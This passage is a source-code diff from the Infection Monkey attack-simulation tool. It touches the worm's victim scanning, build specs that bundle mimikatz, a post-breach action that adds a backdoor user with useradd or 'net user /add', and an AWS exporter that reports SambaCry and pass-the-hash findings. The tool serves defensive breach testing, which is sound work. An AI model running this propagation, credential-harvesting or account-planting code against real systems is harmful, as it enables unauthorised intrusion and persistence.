||||
DOWNLOAD_TIMEOUT = 300
|
|
@ -2,8 +2,9 @@ __author__ = 'itamar'
|
|||
|
||||
|
||||
class VictimHost(object):
|
||||
def __init__(self, ip_addr):
|
||||
def __init__(self, ip_addr, domain_name=''):
|
||||
self.ip_addr = ip_addr
|
||||
self.domain_name = str(domain_name)
|
||||
self.os = {}
|
||||
self.services = {}
|
||||
self.monkey_exe = None
|
||||
|
|
|
@ -1,32 +0,0 @@
|
|||
# -*- mode: python -*-
|
||||
|
||||
block_cipher = None
|
||||
|
||||
|
||||
a = Analysis(['main.py'],
|
||||
pathex=['..'],
|
||||
binaries=None,
|
||||
datas=None,
|
||||
hiddenimports=['_cffi_backend'],
|
||||
hookspath=None,
|
||||
runtime_hooks=None,
|
||||
excludes=None,
|
||||
win_no_prefer_redirects=None,
|
||||
win_private_assemblies=None,
|
||||
cipher=block_cipher)
|
||||
|
||||
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
|
||||
|
||||
pyz = PYZ(a.pure, a.zipped_data,
|
||||
cipher=block_cipher)
|
||||
exe = EXE(pyz,
|
||||
a.scripts,
|
||||
a.binaries,
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
name='monkey',
|
||||
debug=False,
|
||||
strip=True,
|
||||
upx=True,
|
||||
console=True )
|
|
@ -109,6 +109,10 @@ class InfectionMonkey(object):
|
|||
system_info = system_info_collector.get_info()
|
||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||
|
||||
for action_class in WormConfiguration.post_breach_actions:
|
||||
action = action_class()
|
||||
action.act()
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
LOG.debug("Reached max depth, shutting down")
|
||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||
|
@ -120,9 +124,6 @@ class InfectionMonkey(object):
|
|||
ControlClient.keepalive()
|
||||
ControlClient.load_control_config()
|
||||
|
||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||
|
||||
self._network.initialize()
|
||||
|
||||
self._exploiters = WormConfiguration.exploiter_classes
|
||||
|
@ -132,8 +133,7 @@ class InfectionMonkey(object):
|
|||
if not self._keep_running or not WormConfiguration.alive:
|
||||
break
|
||||
|
||||
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
||||
max_find=WormConfiguration.victims_max_find,
|
||||
machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,
|
||||
stop_callback=ControlClient.check_for_stop)
|
||||
is_empty = True
|
||||
for machine in machines:
|
||||
|
@ -147,7 +147,7 @@ class InfectionMonkey(object):
|
|||
finger.get_host_fingerprint(machine)
|
||||
|
||||
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
||||
'scanner': WormConfiguration.scanner_class.__name__})
|
||||
})
|
||||
|
||||
# skip machines that we've already exploited
|
||||
if machine in self._exploited_machines:
|
||||
|
|
|
@ -2,39 +2,120 @@
|
|||
import os
|
||||
import platform
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
block_cipher = None
|
||||
|
||||
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||
|
||||
|
||||
def get_mimikatz_zip_path():
|
||||
if platform.architecture()[0] == "32bit":
|
||||
return '.\\bin\\mk32.zip'
|
||||
else:
|
||||
return '.\\bin\\mk64.zip'
|
||||
|
||||
|
||||
a = Analysis(['main.py'],
|
||||
def main():
|
||||
a = Analysis(['main.py'],
|
||||
pathex=['..'],
|
||||
hiddenimports=['_cffi_backend', 'queue'],
|
||||
hiddenimports=get_hidden_imports(),
|
||||
hookspath=None,
|
||||
runtime_hooks=None)
|
||||
runtime_hooks=None,
|
||||
binaries=None,
|
||||
datas=None,
|
||||
excludes=None,
|
||||
win_no_prefer_redirects=None,
|
||||
win_private_assemblies=None,
|
||||
cipher=block_cipher
|
||||
)
|
||||
|
||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||
a.binaries += get_binaries()
|
||||
a.datas = process_datas(a.datas)
|
||||
|
||||
if platform.system().find("Windows") >= 0:
|
||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||
|
||||
pyz = PYZ(a.pure)
|
||||
exe = EXE(pyz,
|
||||
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||
exe = EXE(pyz,
|
||||
a.scripts,
|
||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
||||
a.binaries,
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
name='monkey.exe',
|
||||
name=get_monkey_filename(),
|
||||
debug=False,
|
||||
strip=None,
|
||||
strip=get_exe_strip(),
|
||||
upx=True,
|
||||
console=True,
|
||||
icon='monkey.ico')
|
||||
icon=get_exe_icon())
|
||||
|
||||
|
||||
def is_windows():
|
||||
return platform.system().find("Windows") >= 0
|
||||
|
||||
|
||||
def is_32_bit():
|
||||
return platform.architecture()[0] == "32bit"
|
||||
|
||||
|
||||
def get_bin_folder():
|
||||
return os.path.join('.', 'bin')
|
||||
|
||||
|
||||
def get_bin_file_path(filename):
|
||||
return os.path.join(get_bin_folder(), filename)
|
||||
|
||||
|
||||
def process_datas(orig_datas):
|
||||
datas = orig_datas
|
||||
if is_windows():
|
||||
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||
return datas
|
||||
|
||||
|
||||
def get_binaries():
|
||||
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||
binaries += get_sc_binaries()
|
||||
binaries += get_traceroute_binaries()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_windows_only_binaries():
|
||||
binaries = []
|
||||
binaries += get_msvcr()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_linux_only_binaries():
|
||||
binaries = []
|
||||
return binaries
|
||||
|
||||
|
||||
def get_hidden_imports():
|
||||
return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql']
|
||||
|
||||
|
||||
def get_sc_binaries():
|
||||
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
|
||||
|
||||
|
||||
def get_msvcr():
|
||||
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
|
||||
|
||||
|
||||
def get_traceroute_binaries():
|
||||
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
|
||||
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
|
||||
|
||||
|
||||
def get_monkey_filename():
|
||||
return 'monkey.exe' if is_windows() else 'monkey'
|
||||
|
||||
|
||||
def get_exe_strip():
|
||||
return not is_windows()
|
||||
|
||||
|
||||
def get_exe_icon():
|
||||
return 'monkey.ico' if is_windows() else None
|
||||
|
||||
|
||||
def get_mimikatz_zip_path():
|
||||
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
|
||||
return os.path.join(get_bin_folder(), mk_filename)
|
||||
|
||||
|
||||
main() # We don't check if __main__ because this isn't the main script.
|
||||
|
|
|
@ -101,9 +101,7 @@ int samba_init_module(void)
|
|||
}
|
||||
|
||||
// Build commandline
|
||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
||||
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
|
||||
strncat(commandline, " ", 1);
|
||||
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
|
||||
|
||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||
fclose(pFile);
|
||||
|
|
|
@ -6,6 +6,7 @@ from infection_monkey.config import WormConfiguration
|
|||
from infection_monkey.network.info import local_ips, get_interfaces_ranges
|
||||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.network import HostScanner
|
||||
from infection_monkey.network import TcpScanner, PingScanner
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -62,7 +63,7 @@ class NetworkScanner(object):
|
|||
|
||||
return subnets_to_scan
|
||||
|
||||
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
||||
def get_victim_machines(self, max_find=5, stop_callback=None):
|
||||
"""
|
||||
Finds machines according to the ranges specified in the object
|
||||
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
|
||||
|
@ -70,15 +71,17 @@ class NetworkScanner(object):
|
|||
:param stop_callback: A callback to check at any point if we should stop scanning
|
||||
:return: yields a sequence of VictimHost instances
|
||||
"""
|
||||
if not scan_type:
|
||||
return
|
||||
|
||||
scanner = scan_type()
|
||||
TCPscan = TcpScanner()
|
||||
Pinger = PingScanner()
|
||||
victims_count = 0
|
||||
|
||||
for net_range in self._ranges:
|
||||
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
||||
for ip_addr in net_range:
|
||||
if hasattr(net_range, 'domain_name'):
|
||||
victim = VictimHost(ip_addr, net_range.domain_name)
|
||||
else:
|
||||
victim = VictimHost(ip_addr)
|
||||
if stop_callback and stop_callback():
|
||||
LOG.debug("Got stop signal")
|
||||
|
@ -94,9 +97,11 @@ class NetworkScanner(object):
|
|||
continue
|
||||
|
||||
LOG.debug("Scanning %r...", victim)
|
||||
pingAlive = Pinger.is_host_alive(victim)
|
||||
tcpAlive = TCPscan.is_host_alive(victim)
|
||||
|
||||
# if scanner detect machine is up, add it to victims list
|
||||
if scanner.is_host_alive(victim):
|
||||
if pingAlive or tcpAlive:
|
||||
LOG.debug("Found potential victim: %r", victim)
|
||||
victims_count += 1
|
||||
yield victim
|
||||
|
@ -106,8 +111,9 @@ class NetworkScanner(object):
|
|||
|
||||
break
|
||||
|
||||
if SCAN_DELAY:
|
||||
time.sleep(SCAN_DELAY)
|
||||
if WormConfiguration.tcp_scan_interval:
|
||||
# time.sleep uses seconds, while config is in milliseconds
|
||||
time.sleep(WormConfiguration.tcp_scan_interval/float(1000))
|
||||
|
||||
@staticmethod
|
||||
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
||||
|
|
|
@ -59,9 +59,9 @@ class PingScanner(HostScanner, HostFinger):
|
|||
if regex_result:
|
||||
try:
|
||||
ttl = int(regex_result.group(0))
|
||||
if LINUX_TTL == ttl:
|
||||
if ttl <= LINUX_TTL:
|
||||
host.os['type'] = 'linux'
|
||||
elif WINDOWS_TTL == ttl:
|
||||
else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
|
||||
host.os['type'] = 'windows'
|
||||
return True
|
||||
except Exception as exc:
|
||||
|
|
|
@ -9,9 +9,13 @@ import re
|
|||
|
||||
from six.moves import range
|
||||
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from infection_monkey.utils import is_64bit_python
|
||||
|
||||
DEFAULT_TIMEOUT = 10
|
||||
BANNER_READ = 1024
|
||||
IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
||||
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
|
||||
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
SLEEP_BETWEEN_POLL = 0.5
|
||||
|
@ -175,9 +179,10 @@ def tcp_port_to_service(port):
|
|||
return 'tcp-' + str(port)
|
||||
|
||||
|
||||
def traceroute(target_ip, ttl):
|
||||
def traceroute(target_ip, ttl=64):
|
||||
"""
|
||||
Traceroute for a specific IP/name.
|
||||
Note, may throw exception on failure that should be handled by caller.
|
||||
:param target_ip: IP/name of target
|
||||
:param ttl: Max TTL
|
||||
:return: Sequence of IPs in the way
|
||||
|
@ -188,6 +193,53 @@ def traceroute(target_ip, ttl):
|
|||
return _traceroute_linux(target_ip, ttl)
|
||||
|
||||
|
||||
def _get_traceroute_bin_path():
|
||||
"""
|
||||
Gets the path to the prebuilt traceroute executable
|
||||
|
||||
This is the traceroute utility from: http://traceroute.sourceforge.net
|
||||
Its been built using the buildroot utility with the following settings:
|
||||
* Statically link to musl and all other required libs
|
||||
* Optimize for size
|
||||
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
|
||||
|
||||
:return: Path to traceroute executable
|
||||
"""
|
||||
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
|
||||
|
||||
|
||||
def _parse_traceroute(output, regex, ttl):
|
||||
"""
|
||||
Parses the output of traceroute (from either Linux or Windows)
|
||||
:param output: The output of the traceroute
|
||||
:param regex: Regex for finding an IP address
|
||||
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
|
||||
:return: List of ips which are the hops on the way to the traceroute destination.
|
||||
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
|
||||
"""
|
||||
ip_lines = output.split('\n')
|
||||
trace_list = []
|
||||
|
||||
first_line_index = None
|
||||
for i in range(len(ip_lines)):
|
||||
if re.search(r'^\s*1', ip_lines[i]) is not None:
|
||||
first_line_index = i
|
||||
break
|
||||
|
||||
for i in range(first_line_index, first_line_index + ttl):
|
||||
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
|
||||
break
|
||||
|
||||
re_res = re.search(regex, ip_lines[i])
|
||||
if re_res is None:
|
||||
ip_addr = None
|
||||
else:
|
||||
ip_addr = re_res.group()
|
||||
trace_list.append(ip_addr)
|
||||
|
||||
return trace_list
|
||||
|
||||
|
||||
def _traceroute_windows(target_ip, ttl):
|
||||
"""
|
||||
Traceroute for a specific IP/name - Windows implementation
|
||||
|
@ -200,59 +252,22 @@ def _traceroute_windows(target_ip, ttl):
|
|||
target_ip]
|
||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||
stdout, stderr = proc_obj.communicate()
|
||||
ip_lines = stdout.split('\r\n')
|
||||
trace_list = []
|
||||
|
||||
first_line_index = None
|
||||
for i in range(len(ip_lines)):
|
||||
if re.search(r'^\s*1', ip_lines[i]) is not None:
|
||||
first_line_index = i
|
||||
break
|
||||
|
||||
for i in range(first_line_index, first_line_index + ttl):
|
||||
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
|
||||
break
|
||||
|
||||
re_res = re.search(IP_ADDR_RE, ip_lines[i])
|
||||
if re_res is None:
|
||||
ip_addr = None
|
||||
else:
|
||||
ip_addr = re_res.group()
|
||||
trace_list.append(ip_addr)
|
||||
|
||||
return trace_list
|
||||
stdout = stdout.replace('\r', '')
|
||||
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
|
||||
|
||||
|
||||
def _traceroute_linux(target_ip, ttl):
|
||||
"""
|
||||
Traceroute for a specific IP/name - Linux implementation
|
||||
"""
|
||||
# implementation note: We're currently going to just use ping.
|
||||
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
|
||||
# while this is just ugly
|
||||
# we can't use traceroute because it's not always installed
|
||||
current_ttl = 1
|
||||
trace_list = []
|
||||
while current_ttl <= ttl:
|
||||
cli = ["ping",
|
||||
"-c", "1",
|
||||
"-w", "1",
|
||||
"-t", str(current_ttl),
|
||||
|
||||
cli = [_get_traceroute_bin_path(),
|
||||
"-m", str(ttl),
|
||||
target_ip]
|
||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||
stdout, stderr = proc_obj.communicate()
|
||||
ips = re.findall(IP_ADDR_RE, stdout)
|
||||
if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable.
|
||||
return []
|
||||
elif ips[-1] in trace_list: # Failed getting this hop
|
||||
trace_list.append(None)
|
||||
else:
|
||||
trace_list.append(ips[-1])
|
||||
dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings
|
||||
|
||||
if dest_ip == ips[-1]:
|
||||
break
|
||||
|
||||
current_ttl += 1
|
||||
|
||||
return trace_list
|
||||
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
|
||||
lines = [x[1:-1] if x else None # Removes parenthesis
|
||||
for x in lines]
|
||||
return lines
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
__author__ = 'danielg'
|
||||
|
||||
|
||||
from add_user import BackdoorUser
|
|
@ -0,0 +1,49 @@
|
|||
import datetime
|
||||
import logging
|
||||
import subprocess
|
||||
import sys
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
# Linux doesn't have WindowsError
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
||||
class BackdoorUser(object):
|
||||
"""
|
||||
This module adds a disabled user to the system.
|
||||
This tests part of the ATT&CK matrix
|
||||
"""
|
||||
|
||||
def act(self):
|
||||
LOG.info("Adding a user")
|
||||
if sys.platform.startswith("win"):
|
||||
retval = self.add_user_windows()
|
||||
else:
|
||||
retval = self.add_user_linux()
|
||||
if retval != 0:
|
||||
LOG.warn("Failed to add a user")
|
||||
else:
|
||||
LOG.info("Done adding user")
|
||||
|
||||
@staticmethod
|
||||
def add_user_linux():
|
||||
cmd_line = ['useradd', '-M', '--expiredate',
|
||||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||
WormConfiguration.user_to_add]
|
||||
retval = subprocess.call(cmd_line)
|
||||
return retval
|
||||
|
||||
@staticmethod
|
||||
def add_user_windows():
|
||||
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
|
||||
WormConfiguration.remote_user_pass,
|
||||
'/add', '/ACTIVE:NO']
|
||||
retval = subprocess.call(cmd_line)
|
||||
return retval
|
|
@ -1,4 +1,5 @@
|
|||
How to build a monkey binary from scratch.
|
||||
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||
If you only want to build monkey from scratch you may reference instructions below.
|
||||
|
||||
The monkey is composed of three separate parts.
|
||||
* The Infection Monkey itself - PyInstaller compressed python archives
|
||||
|
|
|
@ -15,3 +15,6 @@ ecdsa
|
|||
netifaces
|
||||
ipaddress
|
||||
wmi
|
||||
pywin32
|
||||
pymssql
|
||||
pyftpdlib
|
|
@ -8,6 +8,7 @@ from enum import IntEnum
|
|||
from infection_monkey.network.info import get_host_subnets
|
||||
from infection_monkey.system_info.aws_collector import AwsCollector
|
||||
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
||||
from infection_monkey.system_info.netstat_collector import NetstatCollector
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -107,12 +108,16 @@ class InfoCollector(object):
|
|||
def get_network_info(self):
|
||||
"""
|
||||
Adds network information from the host to the system information.
|
||||
Currently updates with a list of networks accessible from host,
|
||||
containing host ip and the subnet range.
|
||||
Currently updates with netstat and a list of networks accessible from host
|
||||
containing host ip and the subnet range
|
||||
:return: None. Updates class information
|
||||
"""
|
||||
LOG.debug("Reading subnets")
|
||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
||||
self.info['network_info'] =\
|
||||
{
|
||||
'networks': get_host_subnets(),
|
||||
'netstat': NetstatCollector.get_netstat_info()
|
||||
}
|
||||
|
||||
def get_azure_info(self):
|
||||
"""
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
|
||||
|
||||
import logging
|
||||
import psutil
|
||||
import socket
|
||||
|
||||
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetstatCollector(object):
|
||||
"""
|
||||
Extract netstat info
|
||||
"""
|
||||
|
||||
AF_INET6 = getattr(socket, 'AF_INET6', object())
|
||||
|
||||
proto_map = {
|
||||
(AF_INET, SOCK_STREAM): 'tcp',
|
||||
(AF_INET6, SOCK_STREAM): 'tcp6',
|
||||
(AF_INET, SOCK_DGRAM): 'udp',
|
||||
(AF_INET6, SOCK_DGRAM): 'udp6',
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def get_netstat_info():
|
||||
LOG.info("Collecting netstat info")
|
||||
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
|
||||
|
||||
@staticmethod
|
||||
def _parse_connection(c):
|
||||
return \
|
||||
{
|
||||
'proto': NetstatCollector.proto_map[(c.family, c.type)],
|
||||
'local_address': c.laddr[0],
|
||||
'local_port': c.laddr[1],
|
||||
'remote_address': c.raddr[0] if c.raddr else None,
|
||||
'remote_port': c.raddr[1] if c.raddr else None,
|
||||
'status': c.status,
|
||||
'pid': c.pid
|
||||
}
|
|
@ -36,8 +36,10 @@ class WindowsInfoCollector(InfoCollector):
|
|||
"""
|
||||
LOG.debug("Running Windows collector")
|
||||
super(WindowsInfoCollector, self).get_info()
|
||||
self.get_wmi_info()
|
||||
#self.get_wmi_info()
|
||||
self.get_installed_packages()
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if WormConfiguration.should_use_mimikatz:
|
||||
self.get_mimikatz_info()
|
||||
|
||||
return self.info
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
from cc.environment.environment import load_env_from_file, AWS
|
||||
from cc.report_exporter_manager import ReportExporterManager
|
||||
from cc.resources.aws_exporter import AWSExporter
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
||||
def populate_exporter_list():
|
||||
|
||||
manager = ReportExporterManager()
|
||||
if is_aws_exporter_required():
|
||||
manager.add_exporter_to_list(AWSExporter)
|
||||
|
||||
|
||||
def is_aws_exporter_required():
|
||||
if str(load_env_from_file()) == AWS:
|
||||
return True
|
||||
else:
|
||||
return False
|
|
@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
from cc.app import init_app
|
||||
from cc.exporter_init import populate_exporter_list
|
||||
from cc.utils import local_ip_addresses
|
||||
from cc.environment.environment import env
|
||||
from cc.database import is_db_server_up
|
||||
|
@ -34,6 +35,7 @@ def main():
|
|||
logger.info('Waiting for MongoDB server')
|
||||
time.sleep(1)
|
||||
|
||||
populate_exporter_list()
|
||||
app = init_app(mongo_url)
|
||||
if env.is_debug():
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
|
||||
|
@ -44,6 +46,7 @@ def main():
|
|||
http_server.listen(env.get_island_port())
|
||||
logger.info(
|
||||
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
||||
|
||||
IOLoop.instance().start()
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
import logging
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Singleton(type):
|
||||
_instances = {}
|
||||
|
||||
def __call__(cls, *args, **kwargs):
|
||||
if cls not in cls._instances:
|
||||
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
|
||||
return cls._instances[cls]
|
||||
|
||||
|
||||
class ReportExporterManager(object):
|
||||
__metaclass__ = Singleton
|
||||
|
||||
def __init__(self):
|
||||
self._exporters_set = set()
|
||||
|
||||
def get_exporters_list(self):
|
||||
return self._exporters_set
|
||||
|
||||
def add_exporter_to_list(self, exporter):
|
||||
self._exporters_set.add(exporter)
|
||||
|
||||
def export(self, report):
|
||||
try:
|
||||
for exporter in self._exporters_set:
|
||||
exporter().handle_report(report)
|
||||
except Exception as e:
|
||||
logger.exception('Failed to export report')
|
|
@ -9,6 +9,9 @@ from cc.services.config import ConfigService
|
|||
from cc.environment.environment import load_server_configuration_from_file
|
||||
from common.cloud.aws_instance import AwsInstance
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
|
||||
|
@ -87,6 +90,7 @@ class AWSExporter(Exporter):
|
|||
"ProductArn": product_arn,
|
||||
"GeneratorId": issue['type'],
|
||||
"AwsAccountId": account_id,
|
||||
"RecordState": "ACTIVE",
|
||||
"Types": [
|
||||
"Software and Configuration Checks/Vulnerabilities/CVE"
|
||||
],
|
||||
|
@ -120,488 +124,288 @@ class AWSExporter(Exporter):
|
|||
return False
|
||||
|
||||
@staticmethod
|
||||
def _handle_tunnel_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 5,
|
||||
def _get_finding_resource(instance_id, instance_arn):
|
||||
if instance_id:
|
||||
return [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=instance_id)
|
||||
}]
|
||||
else:
|
||||
return [{'Type': 'Other', 'Id': 'None'}]
|
||||
|
||||
@staticmethod
|
||||
def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None):
|
||||
finding = {
|
||||
"Severity": {
|
||||
"Product": severity,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Weak segmentation - Machines were able to communicate over unused ports.",
|
||||
"Description": "Use micro-segmentation policies to disable communication other than the required.",
|
||||
},
|
||||
'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn),
|
||||
"Title": title,
|
||||
"Description": description,
|
||||
"Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
|
||||
.format(issue['machine'], issue['dest'])
|
||||
"Text": recommendation
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
|
||||
@staticmethod
|
||||
def _handle_tunnel_issue(issue, instance_arn):
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=5,
|
||||
title="Weak segmentation - Machines were able to communicate over unused ports.",
|
||||
description="Use micro-segmentation policies to disable communication other than the required.",
|
||||
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
|
||||
.format(issue['machine'], issue['dest']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_sambacry_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 10,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'",
|
||||
"Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
|
||||
.format(issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
"Type": "AwsEc2Instance",
|
||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
||||
}]
|
||||
else:
|
||||
finding["Resources"] = [{'Type': 'Other'}]
|
||||
|
||||
return finding
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Samba servers are vulnerable to 'SambaCry'",
|
||||
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
|
||||
.format(issue['username']),
|
||||
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_smb_pth_issue(issue, instance_arn):
|
||||
finding = \
|
||||
{"Severity": {
|
||||
"Product": 5,
|
||||
"Normalized": 100
|
||||
}, "RecordState": "ACTIVE",
|
||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']), "Remediation": {
|
||||
"Recommendation": {
|
||||
"Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
|
||||
issue['machine'], issue['ip_address'], issue['username'])
|
||||
}
|
||||
}}
|
||||
|
||||
if 'aws_instance_id' in issue:
|
||||
finding["Resources"] = [{
|
||||
